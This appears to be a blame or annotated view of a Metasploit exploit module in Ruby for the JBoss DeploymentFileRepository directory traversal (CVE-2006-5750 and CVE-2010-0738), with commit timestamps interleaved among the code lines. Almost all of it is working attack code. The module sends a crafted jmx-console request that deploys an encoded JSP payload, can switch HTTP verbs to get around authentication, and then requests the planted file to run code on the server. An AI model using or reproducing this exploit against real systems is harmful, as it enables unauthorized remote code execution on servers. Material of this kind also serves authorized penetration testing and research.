2010-05-09 17:30:05 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
2010-05-07 22:21:44 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'JBoss Java Class DeploymentFileRepository Directory Traversal',
|
|
|
|
'Description' => %q{
|
2010-05-07 22:28:21 +00:00
|
|
|
This module exploits a directory traversal vulnerability in the DeploymentFileRepository
|
2010-05-09 17:30:05 +00:00
|
|
|
class in JBoss Application Server (jbossas) 3.2.4 through 4.0.5. This vulnerability
|
|
|
|
allows remote authenticated (and unathenticated) users to read or modify arbitrary files,
|
|
|
|
and possibly execute arbitrary code.
|
2010-05-07 22:21:44 +00:00
|
|
|
},
|
2010-05-09 12:54:16 +00:00
|
|
|
'Author' => [ 'MC', 'Jacob Giannantonio' ],
|
2010-05-07 22:21:44 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2010-05-07 22:28:21 +00:00
|
|
|
'Version' => '$Revision$',
|
2010-05-07 22:21:44 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2010-05-09 17:30:05 +00:00
|
|
|
[ 'CVE', '2006-5750' ],
|
2010-05-11 09:14:36 +00:00
|
|
|
[ 'CVE', '2010-0738' ], # by using VERB other than GET/POST
|
2010-05-08 16:46:49 +00:00
|
|
|
[ 'OSVDB', '30767'],
|
2010-05-07 22:28:21 +00:00
|
|
|
[ 'BID', '21219' ]
|
2010-05-07 22:21:44 +00:00
|
|
|
],
|
|
|
|
'Privileged' => false,
|
2010-05-09 12:54:16 +00:00
|
|
|
'Platform' => ['linux', 'windows' ],
|
2010-05-07 22:21:44 +00:00
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Universal',
|
|
|
|
{
|
|
|
|
'Arch' => ARCH_JAVA,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
2010-05-07 22:28:21 +00:00
|
|
|
'DisableNops' => true,
|
2010-05-07 22:21:44 +00:00
|
|
|
},
|
|
|
|
}
|
|
|
|
],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Nov 27 2006',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(8080),
|
2010-05-09 12:54:16 +00:00
|
|
|
OptString.new('SHELL', [ true, "The system shell to use.", '/bin/sh']),
|
2010-05-09 17:30:05 +00:00
|
|
|
OptString.new('URI', [ true, "The URI to call the payload.", '/web-console/']),
|
2010-05-11 09:14:36 +00:00
|
|
|
OptString.new('PATH', [ true, "The URI to deploy the payload.", 'console-mgr.sar/web-console.war/']),
|
|
|
|
OptString.new('VERB', [ true, "The HTTP verb to use", "POST"]),
|
2010-05-07 22:21:44 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
|
|
|
|
fname = rand_text_alpha_upper(rand(5) + 1)
|
|
|
|
|
2010-05-11 16:20:46 +00:00
|
|
|
data = 'action=invokeOp'
|
|
|
|
data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository'
|
|
|
|
data << '&methodIndex=5'
|
|
|
|
data << '&arg0=' + Rex::Text.uri_encode(datastore['PATH'])
|
|
|
|
data << '&arg1=' + fname
|
|
|
|
data << '&arg2=.jsp'
|
|
|
|
data << '&arg3=' + Rex::Text.uri_encode(payload.encoded)
|
|
|
|
data << '&arg4=True'
|
|
|
|
|
|
|
|
if (datastore['VERB'] == "POST")
|
|
|
|
res = send_request_cgi(
|
|
|
|
{
|
|
|
|
'uri' => '/jmx-console/HtmlAdaptor',
|
|
|
|
'method' => datastore['VERB'],
|
|
|
|
'data' => data
|
|
|
|
})
|
|
|
|
else
|
|
|
|
res = send_request_cgi(
|
|
|
|
{
|
|
|
|
'uri' => '/jmx-console/HtmlAdaptor;index.jsp?' + data,
|
|
|
|
'method' => datastore['VERB'],
|
|
|
|
})
|
|
|
|
end
|
2010-05-07 22:21:44 +00:00
|
|
|
|
|
|
|
if (res.code == 200)
|
2010-05-09 12:54:16 +00:00
|
|
|
print_status("Triggering payload at '#{datastore['URI']}#{fname}.jsp'...")
|
2010-05-11 16:20:46 +00:00
|
|
|
verb = 'GET'
|
|
|
|
if (datastore['VERB'] != 'GET' and datastore['VERB'] != 'POST')
|
|
|
|
verb = 'HEAD'
|
|
|
|
end
|
2010-05-07 22:21:44 +00:00
|
|
|
send_request_raw(
|
|
|
|
{
|
2010-05-11 16:20:46 +00:00
|
|
|
'uri' => datastore['URI'] + fname + '.jsp',
|
|
|
|
'method' => verb,
|
2010-05-07 22:21:44 +00:00
|
|
|
})
|
|
|
|
else
|
|
|
|
print_error("Denied...")
|
|
|
|
end
|
|
|
|
|
|
|
|
handler
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|